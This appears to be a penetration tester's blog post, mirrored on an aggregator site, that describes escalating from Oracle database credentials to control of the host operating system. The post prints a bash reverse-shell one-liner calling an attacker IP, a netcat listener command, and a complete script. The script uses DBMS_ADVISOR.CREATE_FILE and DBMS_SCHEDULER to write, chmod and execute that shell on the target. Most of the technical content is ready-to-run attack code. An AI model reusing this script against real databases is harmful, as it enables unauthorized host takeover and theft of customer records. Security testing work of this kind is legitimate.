Oracle Databases, a Penetration Tester’s View of Unauthorized Access to Customer Records
来源:互联网 发布:开拓者 交易软件 收费 编辑:程序博客网 时间:2024/04/30 12:59
When penetration-testing you get to see lots of seemingly unbelievable security failures, but they’re so common that as penetration testers you’re never really surprised.
We know from our Global Security Report 2012 (www.trustwave.com/GSR) that 89% of the
300+ data breaches we investigated last year, the target data was “customer records” - and you might assume that a DBA will always know what it takes to secure an organization’s keys to the kingdom – customer records.
However, we in SpiderLabs are confronted with Oracle databases on internal network penetration tests where default or easily guessable Oracle System ID’s (SIDs) are used, and default or easily guessable database credentials are used. Having access to the Oracle database with one credential usually ends up with total system compromise, including the host, if not locked down sufficiently.
Just to recap the basics of Oracle hacking (not using available exploits), for those who are unfamiliar:
1) Find an Oracle database
2) Find the SID
3) Find username/password
4) Login and enumerate the DB schema
5) Retrieve the data you’re after
6) Go after the OS.
The point of this blog is not to reiterate the basics (points 1-5) which are sprawled elsewhere on the Internet in great detail, but more point 6) going after the OS.
Going back to my scenario… assume we’ve harvested the data from the database, and we still have time left to own the host. In this example, we’ll assume that only the Oracle port is accessible on the target host, but we would like an interactive shell, to further our attack possibilities. So, I wasn’t interested in testing out all the possible exploits available, but more what can you do with a valid login credential to the Oracle database to read/write and gain access to the underlying host.
I was after some PL/SQL code that would create a text file (a bash script) on the target host, change it to an executable (it was UNIX), run it and then see what I could do from there.
Well, my own goal was to get a shell onto the box. Given that only Oracle TCP 1521 was open, we needed a reverse shell. One of the simplest reverse shells out there is a bit of bash hokey pokey:
bash -i >& /dev/tcp/10.1.1.1/12345 0>&1
When run on our target host, this creates a new descriptor which is assigned to a network node. All we have to do is create a TCP listener on our attacking host, the same value as the port assigned above (12345):
nc –l –p 12345
OK, so I knew what I wanted to do in my bash script to write on the Oracle host. What’s the best way to interact with the host operating system, i.e. write a script to the local system and run it?
Oracle has a number of tools that are shipped by default and there are different methods of writing to the operating system. The method I used provided the least grief, and worked first time. Note that the method I’ll show below will work from Oracle 10g or greater.
- I used the SYS.DBMS_ADVISOR.CREATE_FILE function to create a file dk_shell.sh and write it to /tmp. The file contents contained the bash reverse shell commands 'bash -i >& /dev/tcp/$HOST/$PORT 0>&1’ (where $HOST was the attacking IP I gave to the script, and $PORT was the port listener that I created with netcat
- I then used the DBMS_SCHEDULER.CREATE_JOB function to create a job called ‘myjob’ which ran the command chmod 755 on /tmp/dk_shell.sh
- I finally used the DBMS_SCHEDULER again to run my script /tmp/dk_shell.shThe code is shown below:#/bin/bashUSER=$1PW=$2IP=$3SID=$4echo "Open a tcp port listener"echo "Enter your listening TCP port:"read PORTecho "Enter your attacking host IP:"read HOSTecho "Go and run your listener e.g. nc -l -p $PORT ....hit any key when ready"read/pentest/SpiderLabs/oracle/instantclient/sqlplus$USER/$PW@//$IP/$SID<<DKSQLCREATE DIRECTORY MYDIR as '/tmp';GRANT read,write on DIRECTORY MYDIR to public;SET define off;DECLAREmydata clob;mydir varchar2(200);myfile varchar2(700);BEGINmydata:='bash -i >& /dev/tcp/$HOST/$PORT 0>&1';mydir:= 'MYDIR';myfile:='dk_shell.sh';SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);COMMIT;dbms_scheduler.create_job(job_name => 'myjob',job_type => 'executable',job_action => '/bin/chmod',number_of_arguments => 2,enabled => FALSE,auto_drop => TRUE);dbms_scheduler.set_job_argument_value('myjob',1,'755');dbms_scheduler.set_job_argument_value('myjob',2,'/tmp/dk_shell.sh');dbms_scheduler.enable('myjob');dbms_scheduler.create_job(job_name => 'DKSHELL',job_type => 'EXECUTABLE',job_action => '/bin/bash',number_of_arguments => 1,start_date => SYSTIMESTAMP,enabled => FALSE);dbms_scheduler.set_job_argument_value('DKSHELL',1,'/tmp/dk_shell.sh');dbms_scheduler.enable('DKSHELL');END;/DKSQLexit
The window on the left shows the script being run, the window on the right shows a reverse shell obtained on the target system. Using this technique, the possibilities are endless what script you could run on the host operating system. Next steps, get it working for Windows Oracle hosts!
- Oracle Databases, a Penetration Tester’s View of Unauthorized Access to Customer Records
- A Tester's Guide to .NET Programming
- Penetration Tester's Open Source Toolkit, Volume 2
- A Lazy Pen Tester’s Guide to Testing Flash Applications
- Python tools for Penetration Tester
- Penetration Tester's Open Source Toolkit, Volume 2 (Paperback), Oct.2007.eBook-BBL
- Lync 2013 Unauthorized: Access is denied due to a RBAC authorization Failure
- How to Create a Customer
- libdpush_v2_3.so:unauthorized access to "libssl.so"
- libdpush_v2_3.so:unauthorized access to "libssl.so"
- 69.You need to generate a list of all customer last names with their credit limits from the CUSTOMER
- To see an outline of a view’s subview hierarchy at runtime
- FW: A Tester's Learning Journey
- InfoQ: A Tester's Learning Journey
- Controlling Access to Members of a Class
- Controlling Access to Members of a Class
- ADF: The best way to indicate for records in a table the existence of details
- Efficient service of Microsoft's Customer Service .
- 敏捷开发,QA面临的10个挑战
- Android实现改变一个图片的像素值
- 简单的去重算法
- 模仿facebook布局效果
- 《HTML5游戏开发实践指南》(首发)
- Oracle Databases, a Penetration Tester’s View of Unauthorized Access to Customer Records
- 固定收益证券(fixed income)
- Eclipse查找代码块的方法
- VB实现文件数据对SQL Server上传下载
- 为什么一打开AutoCAD2010就会一闪而掉
- 面向对象--接口与抽象类
- Redis实战系列(2) 使用List结构构造高效的队列系统
- 深入浅出MFC学习笔记:(第一章:win32基本概念,第二章:C++的重要性质)
- C语言指针学习笔记